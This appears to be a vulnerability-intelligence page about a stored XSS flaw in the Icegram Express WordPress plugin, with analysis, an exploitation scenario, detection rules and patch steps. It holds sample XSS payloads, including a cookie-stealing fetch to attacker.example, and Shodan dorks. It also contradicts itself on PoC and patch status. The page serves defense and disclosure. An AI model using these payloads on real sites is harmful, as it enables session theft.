☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 3.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-15692

CVE-2025-15692 Cross-Site Scripting in Icegram
📅 PUBLISHED: 2026-09-02 00:00 UTC 🔄 UPDATED: 2026-09-03 00:00 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: < 5.8.6
CVSS VECTOR BREAKDOWN 3.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
3.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-15692 is a Stored Cross-Site Scripting (XSS) vulnerability in the Icegram Express WordPress plugin, affecting all versions prior to 5.8.6. The flaw resides in the improper escaping of a list description setting before it is output within an HTML attribute, allowing users with Administrator role and above to inject arbitrary JavaScript that executes in the context of other administrative users' sessions. The vulnerability carries a CVSS score of 3.5, reflecting the high privilege requirement (Administrator) and the user interaction component (UI:R), yet the potential for admin-to-admin or admin-to-privilege-escalation attacks against other administrators makes it a credible supply-chain and WordPress ecosystem risk. No public proof-of-concept or exploit code has been identified, and no CISA KEV listing exists; however, the plugin's widespread adoption within WordPress deployments warrants immediate attention from security teams managing WordPress estates.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The Icegram Express plugin (developed by Icegram) is a WordPress email marketing and newsletter subscription plugin that enables site administrators to manage subscriber lists, design email campaigns, and configure list-specific metadata such as descriptions. The vulnerability surfaces when an administrator defines or edits a list description through the plugin's administrative interface. According to the NVD description, the plugin fails to properly escape this description value before embedding it inside an HTML attribute within an administrative page.

The root cause is a classic output encoding deficiency within the plugin's server-side rendering logic. When a list description is stored and later re-displayed, the application concatenates the raw user-supplied value into an HTML attribute context (e.g., value="...", title="..."), or data-* attribute **) without applying contextual output encoding appropriate for that context (HTML entity encoding is insufficient for attribute contexts; quote-aware encoding such as &quot;, &#x27; is required). This creates an injection point where an attacker can prematurely terminate the attribute value using a double-quote character (") and then introduce orthogonal HTML elements, such as <script> tags or event handler attributes (e.g., onmouseover, onfocus, onerror), which will be parsed and executed by the victim's browser.

Because the injection occurs within an HTML attribute, the attacker must break out of the attribute context using quote characters. A typical payload structure at the vulnerability-class level would resemble:

"><script>/* malicious JavaScript */</script>

Alternatively, payloads might use event-handler attributes that execute JavaScript without requiring a closing </script> tag, such as:

" autofocus onfocus=alert(document.cookie) x="

These payloads, when rendered within an administrative dashboard page (e.g., the list management screen or email campaign builder), would execute within the security context of the logged-in administrator's browser session.

The proof-of-concept attack requires the malicious actor to already possess an Administrator role — a privilege level that already grants significant control over the WordPress instance (theme/plugin editing, user management). However, the real risk materializes in multi-administrator environments where one compromised or rogue administrator account can be used to plant persistent client-side scripts that target other administrators, potentially harvesting session cookies, performing CSRF-protected actions on behalf of higher-privileged users, or capturing credentials entered into forms on subsequent pages.

The CVSS vector (AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N) confirms the attack is network-accessible, requires low attack complexity, demands high privileges (Administrator), requires user interaction (a victim administrator must view the infected page), and results in limited confidentiality and integrity impact with no availability impact. The scope is unchanged (S:U), meaning the compromise remains within the WordPress application's security boundary.

No patch evidence exists from any tracked source (patch confidence: 0/4), and the authoritative affected version range is < 5.8.6. Interestingly, the NVD description references version 5.8.6 as the boundary — implying that a fix exists in that version — yet no vendor advisory or changelog entry has confirmed this fix. Organizations should verify their deployed plugin version and monitor vendor channels for an official advisory.


Exploitation Scenarios

The attack chain for CVE-2025-15692 is inferred from the vulnerability class (Stored XSS within an administrative HTML attribute) and the privilege requirements stated in the CVSS vector. No public PoC or exploit code exists, and no Nuclei template or exploit database entry has been published; therefore, the following scenario is a best-effort reconstruction based on the NVD description.

1. Reconnaissance / Target Identification An attacker with access to a valid WordPress administrator account (obtained either through credential theft, insider compromise, or lateral movement within an already-accessed hosting environment) identifies the target site as running the Icegram Express plugin. Reconnaissance may use straightforward fingerprinting: inspecting the WordPress admin dashboard's plugin list, viewing page source for Icegram-specific script handles (e.g., icegram or ig_ script identifiers), or checking the plugin's readme.txt file via a direct request to /wp-content/plugins/icegram/readme.txt (if directory indexing or static file access is enabled). Shodan search queries such as http.html:"icegram" or http.html:"/wp-content/plugins/icegram" can identify externally accessible WordPress sites running the plugin, though exploitation requires administrative credential access — reducing the relevance of pure internet-wide scanning.

2. Trigger Mechanism (Vulnerability-Class Level) The attacker navigates to the Icegram Express list configuration page within the WordPress admin interface (typically under the plugin's "Subscribers" or "Lists" menu). They create a new list or edit an existing list's description field. The attacker inserts a malicious payload that exploits the output-encoding flaw: because the plugin does not escape the description before inserting it into an HTML attribute, the attacker can close the attribute with a double-quote character and then inject additional HTML/JavaScript. A representative payload at the class level would be:

" onmouseover="alert(document.cookie) x="

or a script-tag breakout:

"><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>

The description field accepts this payload without server-side sanitization or client-side validation interference (WordPress does not enforce output encoding on plugin-specific meta fields).

3. Payload Execution Once the attacker saves the list configuration, the crafted description is stored in the WordPress database. The payload becomes "armed" and will execute every time any administrator views the page that renders this list description (the list management table, the list edit screen, or the email campaign builder). When a victim administrator navigates to this page, their browser parses the HTML attribute, and because the attacker successfully terminated the attribute and introduced an executable context, the browser executes the injected JavaScript. The attack requires the victim to interact with the page (UI:R) — merely loading the page is typically sufficient, but the CVSS vector accounts for the administrator performing a legitimate navigation action.

4. Post-Exploitation Impact A successfully executed payload operates with the victim administrator's session context and WordPress user privileges. Common post-exploitation objectives include:

  • Session hijacking: Stealing the victim's wordpress_logged_in_* cookie and replaying it to impersonate the victim.
  • Privilege escalation (if multi-role escalation is possible): In rare configurations, if the victim is a Super Admin on a WordPress Multisite instance, the payload could invoke WordPress AJAX or REST API endpoints to grant the attacker Super Admin privileges on the network.
  • Credential phishing: Injecting overlay forms that mimic the WordPress login or admin settings pages to capture the victim's credentials.
  • Configuration tampering: Using the victim's session to modify WordPress settings, install backdoor plugins, or create new administrator accounts.
  • Malware distribution: Injecting client-side scripts that load additional malicious resources from attacker-controlled domains for later-stage attacks against site visitors (if the XSS scope extends to the front end — though the CVSS vector S:U suggests the impact is contained to the WordPress administrative context).

It is critical to note that because the attacker already possesses Administrator privileges, the marginal privilege gain from this XSS may be limited in a single-administrator environment. The true value lies in persistence (surviving password changes of the compromised account), lateral movement between admin accounts, and the stealthy nature of the compromise — no direct authentication bypass is present.


Impact Assessment

Business Impact: The Icegram Express plugin is used by WordPress sites for email marketing, newsletter management, and subscriber list building — commonly deployed by small-to-medium businesses, marketing agencies, and e-commerce storefronts. A successful exploitation of CVE-2025-15692 can lead to administrative account compromise, session theft, and unauthorized content manipulation. While the CVSS score of 3.5 classifies this as a low-severity vulnerability, the real-world risk is amplified by the plugin's integration with email marketing workflows: an attacker controlling the administrative interface could manipulate subscriber lists, inject malicious content into outgoing marketing emails (if additional plugin features allow), or steal PII (subscriber emails) — triggering data protection obligations under GDPR/CCPA.

Affected Systems: All WordPress installations running Icegram Express versions prior to 5.8.6. The plugin's deployment typically involves the WordPress admin dashboard only; however, the stored payload is persistent and will trigger on any page that renders the list description within an HTML attribute. The plugin's subscriber management pages are the primary attack surface, though any administrative page that echoes this description could become a trigger point.

Blast Radius:

  • Confidentiality (C:L): Potential theft of session cookies, admin credentials, or access to subscriber data visible in the administrative context.
  • Integrity (I:L): Unauthorized modification of list descriptions, email campaign settings, or WordPress configuration via the victim's session.
  • Availability (A:N): No direct availability impact; however, a compromised admin could intentionally disrupt the plugin's operation.
  • Scope (S:U): The compromise is contained to the WordPress application; no lateral movement to underlying server infrastructure is implied by this vulnerability alone.

Threat Actor Likelihood: As of the analysis date, no threat actor campaign, exploit-in-the-wild evidence, or dark-web marketing of this CVE has been observed. The CISA KEV (Known Exploited Vulnerabilities) catalog does not list this CVE. The high privilege requirement (PR:H) reduces the appeal for broad automated exploitation campaigns, which typically target lower-privilege or unauthenticated vulnerabilities.


Detection Guidance

No in-the-wild exploitation or public PoC exists for CVE-2025-15692, making the following detection rules indicative rather than validated against actual malicious traffic. They focus on exploitation patterns consistent with Stored XSS in administrative contexts and post-exploitation HTTP requests.

Sigma Rule

title: Icegram Express Stored XSS via List Description (CVE-2025-15692)
id: 9a4c7e21-5f8d-4b3a-9e1c-6d2b8f4a0c5e
status: experimental
description: Detects HTTP requests to Icegram Express admin pages containing XSS payload patterns in list description parameters.
logsource:
  category: web
  product: wordpress
detection:
  selection:
    http.url|contains:
      - '/wp-admin/admin.php'
    http.url|contains|all:
      - 'icegram'
    http.url|contains|any:
      - 'description='
    http.body|contains|any:
      - '<script>'
      - '"><script'
      - 'onmouseover='
      - 'onerror='
      - 'javascript:'
      - 'onload='
  selection_admin:
    http.url|contains:
      - 'page='
  condition: selection and selection_admin
level: high
tags:
  - attack.t1204.001
  - attack.t1059.007
  - cve.2025.15692
  - cwe.79

YARA Rule

rule CVE_2025_15692_Icegram_Express_Stored_XSS
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects malicious payload patterns associated with CVE-2025-15692 in Icegram Express list descriptions"
        date = "2025-01-15"
        cve_id = "CVE-2025-15692"
        reference = "NVD Description"
        severity = "medium"
    strings:
        $xss_attr = /value=["'][^"']*(<script|on\w+\s*=|javascript:)/i
        $xss_script = /<script[^>]*>/i
        $xss_close = /<\/script>/i
        $event_handler = /\son(load|error|mouseover|focus|click)\s*=/i
        $quote_break = /["']\s*>\s*<script/i
    condition:
        filesize < 1MB and
        any of ($xss_attr, $xss_script, $event_handler) and
        ($xss_script and $xss_close) or ($quote_break) or ($xss_attr)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-15692 Icegram Express Stored XSS Attempt"; flow:established,to_server; content:"/wp-admin/"; http_uri; content:"icegram"; http_uri; pcre:"/description=[^&]*(<script|on(mouseover|load|error)\s*=|javascript:)/iU"; classtype:web-application-attack; reference:cve,2025-15692; sid:202515692; rev:1;)

Elastic Detection

sequence by source.ip with maxspan=30s
  [ network where event.type == "start" and destination.port == 443 and
    url.path contains "/wp-admin/" and url.path contains "icegram" ]
  [ http where event.category == "web" and
    url.query contains "description=" and
    (url.query contains "<script" or url.query regexp ".*on(mouseover|error|load|focus)=.*") ]

Splunk SPL Query

index=web sourcetype=access_combined
| where like(uri_path, "%/wp-admin/%") AND like(uri_path, "%icegram%")
| where like(form_data, "%description=%")
| where like(form_data, "%<script%") OR like(form_data, "%onmouseover=%") OR like(form_data, "%onerror=%") OR like(form_data, "%javascript:%")
| stats count by src_ip, uri_path, user_agent, _time
| sort - _time

Wazuh OSSEC Rule

<group name="web, wordpress, xss,">
  <rule id="716280" level="10" frequency="5" timeframe="60">
    <if_sid>31100</if_sid>
    <field name="url">\.php</field>
    <field name="url">icegram</field>
    <field name="url">wp-admin</field>
    <match>description=</match>
    <regex>(&lt;script|on(mouseover|error|load)\s*=|javascript:)</regex>
    <description>CVE-2025-15692: Icegram Express Stored XSS payload detected in list description parameter</description>
    <group>attack.csrf_attack,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No patch evidence has been identified from any tracked source, and the vendor (Icegram) has not published a formal advisory. The NVD description names version 5.8.6 as the corrected release, implying that updating to 5.8.6 resolves the issue; however, this has not been independently verified through vendor channels, changelogs, or the WordPress plugin repository as of this report.

1. Immediate Mitigations (Defense-in-Depth):

  • Update the plugin: Check the WordPress admin dashboard's Plugins page for the Icegram Express version. If the version is below 5.8.6, attempt an in-place update to 5.8.6 via the WordPress update mechanism. If 5.8.6 is not yet available through the repository, monitor the vendor's changelog and update as soon as it is pushed.
  • Restrict Administrator access: Minimize the number of accounts with Administrator roles. Enforce strictly provisioned accounts with unique credentials and enable two-factor authentication (2FA) for all admin accounts, mitigating credential theft that could lead to exploitation.
  • Web Application Firewall (WAF) rules: Deploy the Suricata or Sigma rules above at your WAF or IDS/IPS layer to block or alert on XSS payload patterns targeting the Icegram plugin. Common WAF vendors (Cloudflare, AWS WAF, ModSecurity) can be configured with SQLi/XSS managed rulesets.
  • WordPress hardening: Disable plugin/theme file editing via the DISALLOW_FILE_EDIT constant and enforce least-privilege user roles where possible. Restrict admin dashboard access to trusted IPs or VPN gateways if feasible.

2. Patch/Upgrade Steps:

  • Navigate to Plugins → Installed Plugins in the WordPress admin area.
  • Locate Icegram Express in the plugin list.
  • If an update is available (target version 5.8.6 or later), click Update Now. If no update appears, check the plugin's WordPress.org page or the vendor's website (icegram.com) for a manual download instructions.
  • If a manual update is necessary: download the updated plugin .zip, deactivate the current version, upload the new version via Plugins → Add New → Upload Plugin, then reactivate. Verify that all Icegram Express features (subscriber lists, email templates, campaigns) function correctly.
  • After updating, audit each subscriber list description for suspicious content (script tags or event-handler attributes) and restore any list that contains malicious payloads.

3. Long-Term Hardening:

  • Monitor vendor advisories: Subscribe to the Icegram Express plugin changelog RSS feed or WordPress plugin update notifications to receive immediate alerts for future security fixes.
  • Adopt a plugin vulnerability monitoring tool: Use WPScan, Patchstack, or Wordfence to receive real-time alerts for vulnerabilities affecting installed plugins.
  • Routine admin-account audits: Implement quarterly reviews of WordPress user roles, removing inactive or unneeded administrator accounts.
  • Subscriber data protection: If the plugin processes subscriber PII (emails, names), document data-flow and apply additional access controls to the administrative database excerpts to meet regulatory compliance even if the XSS leads to data exposure.

References

  1. NVD Entry for CVE-2025-15692: https://nvd.nist.gov/vuln/detail/CVE-2025-15692
  2. Icegram Express Plugin Page (WordPress.org): https://wordpress.org/plugins/icegram/
  3. CWE-79 (Improper Neutralization of Input During Web Page Generation): https://cwe.mitre.org/data/definitions/79.html
  4. MITRE ATT&CK: T1204 — User Execution: https://attack.mitre.org/techniques/T1204/
  5. CISA Known Exploited Vulnerabilities Catalog (for reference — CVE not listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: None reported. No public PoC, Nuclei template, or exploit code has been published. No evidence of active exploitation campaigns has been identified as of the report date.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

product:"Icegram"
title:"Icegram"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-15692/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.